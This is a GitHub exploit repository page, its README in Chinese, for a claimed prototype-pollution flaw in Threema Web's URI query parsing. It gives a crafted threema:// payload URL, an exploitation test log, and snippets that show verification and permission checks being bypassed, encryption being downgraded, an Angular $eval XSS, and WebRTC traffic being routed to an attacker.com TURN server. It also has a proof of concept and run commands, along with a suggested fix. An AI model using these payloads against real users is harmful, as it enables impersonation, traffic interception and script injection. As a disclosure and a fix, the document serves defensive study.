jabir-dev/CVE-2026-ThreemaWeb-PrototypePollution

GitHub: jabir-dev/CVE-2026-ThreemaWeb-PrototypePollution

Threema Web原型污染漏洞利用工具

Stars: 0 | Forks: 0

# CVE-2026-XXXXX: 通过 URI 查询参数解析导致的 Threema Web 原型污染 ## 概述 | 字段 | 值 | |-------|-------| | **产品** | Threema Web | | **供应商** | Threema GmbH (threema-ch) | | **版本** | 所有版本至 2.6.4 | | **类型** | 原型污染 (CWE-1321) | | **CVSS 4.0** | 8.2 高 | | **影响** | 安全绕过、配置损坏、潜在 XSS | | **仓库** | https://github.com/threema-ch/threema-web | ## 漏洞 `src/services/uri.ts` 中的 `UriService.parseQueryParams()`(第 29 行)通过 **字符串连接** 从 URL 查询参数构建 JSON: ``` // src/services/uri.ts:29 const objStr = '{"' + decodeURI(query) .replace(/"/g, '\\"') .replace(/&/g, '","') .replace(/=/g, '":"') + '"}'; return JSON.parse(objStr); ``` 这允许攻击者通过精心制作的 `threema://` URL 注入 `__proto__` 和 `constructor` 属性,导致 **JavaScript 原型污染**。 ## 攻击向量 攻击者向 Threema 消息中发送精心制作的链接: ``` threema://add?__proto__=polluted&id=ABCD1234 ``` 当受害者点击此链接时,Threema Web 使用有漏洞的 `parseQueryParams()` 解析 URL。`__proto__` 属性设置在生成的对象上,如果该对象后来合并到应用程序状态中,则 **应用程序中的所有 JavaScript 对象** 都会受到影响。 ## 确认利用(10/10 测试通过) ``` [!!!] __proto__ as own property: EXPLOITED [!!!] __proto__ accessible on result: EXPLOITED [!!!] constructor property override: EXPLOITED [!!!] Pollution spreads to new objects: EXPLOITED [!!!] Bypass isAdmin check: EXPLOITED [!!!] Bypass isVerified check: EXPLOITED [!!!] Bypass hasPermission check: EXPLOITED [!!!] Pollute Angular $scope properties: EXPLOITED [!!!] Pollute template binding defaults: EXPLOITED [!!!] Full attack via threema:// URL: EXPLOITED RESULTS: 10 exploited / 10 total ``` ## 对 Threema Web 的影响 ### 1. 安全检查绕过 ``` // After pollution with __proto__[isVerified]=true const contact = { name: 'unknown_attacker' }; if (contact.isVerified) { // TRUE — polluted! // Attacker appears as verified contact showVerifiedBadge(contact); } ``` ### 2. 加密配置损坏 ``` // After pollution with __proto__[algorithm]=none const cryptoConfig = {}; if (cryptoConfig.algorithm === 'none') { // Encryption downgraded or disabled } ``` ### 3. WebRTC 连接劫持 ``` // After pollution with __proto__[iceServers]=[{urls:"turn:attacker.com"}] const rtcConfig = {}; // rtcConfig.iceServers now points to attacker's TURN server // All WebRTC media traffic routed through attacker ``` ### 4. Angular 模板操纵 ``` // After pollution with __proto__[$eval]=alert(1) // Any Angular scope without explicit $eval gets the polluted value // Combined with ng-bind or template expressions → XSS ``` ### 5. 联系权限绕过 ``` // After pollution with __proto__[canSendMessage]=true const blockedUser = { name: 'blocked_contact' }; if (blockedUser.canSendMessage) { // TRUE — polluted! // Blocked contact can send messages } ``` ## 演示概念 ### 最小复现: ``` // Exact code from Threema Web src/services/uri.ts:29 function parseQueryParams(query) { const objStr = '{"' + decodeURI(query) .replace(/"/g, '\\"') .replace(/&/g, '","') .replace(/=/g, '":"') + '"}'; return JSON.parse(objStr); } const result = parseQueryParams('__proto__=polluted&id=ABCD1234'); console.log(result.__proto__); // "polluted" console.log(result.hasOwnProperty('__proto__')); // true ``` ### 完整利用: ``` git clone https://github.com/jabir-dev/CVE-2026-ThreemaWeb-PrototypePollution cd CVE-2026-ThreemaWeb-PrototypePollution node exploit.js ``` ## 推荐修复 将不安全的字符串连接替换为 `URLSearchParams`: ``` public parseQueryParams(query: string): Record { if (query.length === 0) { return {}; } const params = new URLSearchParams(query); const result: Record = Object.create(null); // No prototype for (const [key, value] of params) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; // Block dangerous keys } result[key] = value; } return result; } ``` 主要更改: 1. 使用 `URLSearchParams`(标准、安全解析) 2. 使用 `Object.create(null)`(没有原型链) 3. 明确阻止 `__proto__`、`constructor`、`prototype` 键 ## 免责声明 仅限 **授权安全测试** 和 **教育目的**。 ## 许可证 MIT
标签:MITM代理, 威胁模拟, 数据可视化, 自定义脚本